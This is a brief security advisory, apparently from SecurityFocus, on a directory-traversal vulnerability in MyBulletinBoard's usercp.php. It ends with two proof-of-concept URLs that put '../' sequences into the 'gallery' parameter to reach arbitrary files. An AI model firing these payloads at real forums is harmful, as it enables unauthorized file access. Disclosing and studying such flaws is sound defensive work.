8 lines
No EOL
536 B
Text
8 lines
No EOL
536 B
Text
source: https://www.securityfocus.com/bid/19195/info
|
|
|
|
MyBulletinBoard is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.
|
|
|
|
An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.
|
|
|
|
http://www.example.com/usercp.php?action=avatar&gallery=../../uploads
|
|
http://www.example.com/usercp.php?action=do_avatar&gallery=../../../../../../..dir&avatar=myfile |